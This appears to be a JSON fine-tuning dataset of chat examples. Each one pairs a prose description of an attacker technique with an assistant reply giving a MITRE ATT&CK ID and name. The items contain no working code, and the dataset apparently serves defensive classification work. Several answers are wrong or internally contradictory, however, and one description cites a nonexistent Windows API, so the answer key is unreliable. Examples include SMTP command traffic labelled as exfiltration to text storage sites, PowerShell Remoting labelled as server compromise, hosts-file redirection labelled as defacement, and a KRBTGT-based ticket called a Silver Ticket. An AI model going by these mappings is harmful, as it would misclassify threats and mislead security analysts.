                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan uses the Process32First/Process32Next functions to build a list of active processes prior to code injection."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a Windows UAC bypass to execute code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder edits the registry to set the default handler for image files (.jpg) to a malicious payload, leading to execution when any image is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reviews the victim's quarterly earnings calls and investor presentations to determine the company's operational rhythms and peak activity periods."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reading /proc/kcore, the malware attempts to acquire system-wide memory including credential caches."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify registry values at runtime to change system configuration and persist elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group compromises a Certificate Authority’s signing server, generating valid certificates for malicious domains to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a vulnerable serverless container in Google Cloud Functions to perform privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors abuse IAM roles attached to serverless functions to gain elevated privileges across the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a launch agent that executes a root-level payload when the system volume is mounted."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet uses a compromised email account to send encoded command payloads via SMTP."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses reg.exe to set \"DisableCMD\" and disables command history logging on Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the macOS 'osascript' utility to programmatically add a malicious script to the user's Login Items, causing the script to execute each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates SharePoint site permissions via the Graph API to identify accounts with read access to confidential repositories."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hides its command-and-control URLs by splitting them into multiple string fragments and concatenating them at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email targeted at HR includes an attached CSV file that, when opened in Excel, runs a malicious script to exfiltrate employee records."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator registers a domain name very similar to the company's official domain and sends spoofed login pages to employees."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies kernel socket filter rules, causing legitimate traffic to be redirected to a malicious listener."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs the command \"date\" on a compromised Linux host to discover the system's date and time settings."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parsed the output of \"Get-NetTCPConnection\" to discover remote IP addresses the host is communicating with."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use an exploit against a vulnerable driver to gain kernel‑level code execution and suppress defensive monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a batch script that iterates over \"%SystemRoot%\\System32\" with \"for /R\" to list all executable files present."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a list of known usernames to probe the organization’s email server via IMAP."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs a debugger check by measuring the time taken for a loop; abnormal timing indicates a debugger and halts execution."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses an open-source exploit tool modified with custom payloads to target systems and achieve privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs standard character encoding (e.g., ISO‑8859‑1) to disguise intercepted data."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program clears the command history file (~/.bash_history) after each session to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquired a botnet-as-a-service offering from a darknet forum to conduct credential harvesting across multiple organizations."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a crafted syscalls sequence, the attacker performed a WSL (Windows Subsystem for Linux) escape, gaining access to the Windows host environment."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary obtains the KRBTGT hash and crafts a Kerberos ticket for a service account, allowing persistent access without contacting the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the Kerberoasting technique: they request service tickets for SPNs, extract the ticket hashes, and brute‑force them to steal service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor queries a misconfigured DigitalOcean Spaces bucket to retrieve a directory of uploaded documents."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder obtains credentials by intercepting network traffic with a rogue DHCP server."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample is found to be using code obfuscation and anti-debugging techniques to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a misconfigured DNS recursive resolver, the attacker performed DNS cache poisoning to hijack user requests."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains root privileges and extracts the hashed passwords stored in /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused PowerShell Remoting to execute scripts on remote Windows servers without proper authentication."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a rootkit to modify the bootloader, ensuring persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the system's hosts file to redirect traffic to malicious sites, impacting service availability."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool generates shortcut icons that point to a network share hosting the next payload stage."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a script that lists all repositories in a self‑hosted GitLab instance and archives them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved altering the PAM policy to prioritize a malicious pam_exec module that executes a reverse shell upon login."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a script to query the Kerberos Key Distribution Center for AS‑REP data of all users lacking pre‑auth, exporting the tickets for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor performs a WHOIS privacy bypass to reveal the registrant’s contact details for the target domain."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set extracted credentials from the organization's cloud secret store by abusing misconfigured IAM permissions."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider alters the configuration of Kubernetes audit logs in a EKS cluster, turning off audit logging for privileged namespaces."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses the NtQueryInformationProcess API to determine if the current process is being debugged."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script disabled the AWS WAF protection on a web application, leaving it vulnerable to attacks."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor queries the victim's DNS server for SOA records to understand the authoritative name server and zone transfer policies."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves sending AS-REQs without pre-auth data to obtain AS-REP responses for users with no pre-authentication, then extracting the ticket for password guessing."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hooking the Windows Authentication API (AuthPackage), the threat actor exfiltrates credentials entered during network logins."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs process injection by writing malicious instructions into a thread's local storage area and then altering the thread's context to point to that code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted PowerPoint file modifies the HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\PowerPoint\\Addins registry key to load a malicious DLL on startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs process injection by mapping a portable executable into a target process's memory using VirtualAllocExEx and RtlCreateUserThread."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host ran a command that exported the list of installed applications to a text file, which was then exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat moved laterally by mounting the admin share of a remote host and executing a malicious executable via the \\\"psexec.exe\\\" utility."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a running process by writing malicious code into its thread local storage and then calling SetThreadContext to redirect execution."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed beacon data in DNS AAAA record responses."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs msiexec with the /package option to execute a malicious payload, using the trusted system binary as a proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user accesses the Docker socket (/var/run/docker.sock) on a host server, reading the .docker/config.json file and exposing stored registry credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool issues a DELETE request to the mail server's REST endpoint, clearing all messages from the target's mailbox."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a browser exploit targeting a vulnerability in Chrome’s V8 engine, executing code when the victim visits a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contained a macro‑enabled Word document where the VBA code was obfuscated with string concatenation and character substitution techniques."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a rogue TFTP service into the network and alters the device's boot firmware settings so it loads a malicious payload via TFTP during pre‑OS initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject malicious code into the Secure Boot process by compromising the trust provider, bypassing firmware validation."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs a technique where it spawns a benign‑looking process, then replaces its parent with a system process to obscure its origin."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates system information by invoking a Microsoft Teams webhook with the gathered data."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators edited the domain trust objects to grant their compromised user accounts elevated privileges in another domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts the system's /etc/passwd and /etc/shadow files to obtain user account hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries uploaded a hidden Excel add-in that loads a malicious DLL on startup, allowing them to execute code whenever the victim launches Excel."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion loads the SAM hive into memory and parses it to recover password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Make use of online social networks and forums for command and control communications, hiding in plain sight among legitimate discussions"
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team member creates a new IBM Cloud user with administrator privileges to simulate persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts files and then exfiltrates the decryption keys via an HTTPS POST to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker ran a command substitution in bash to dynamically generate and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
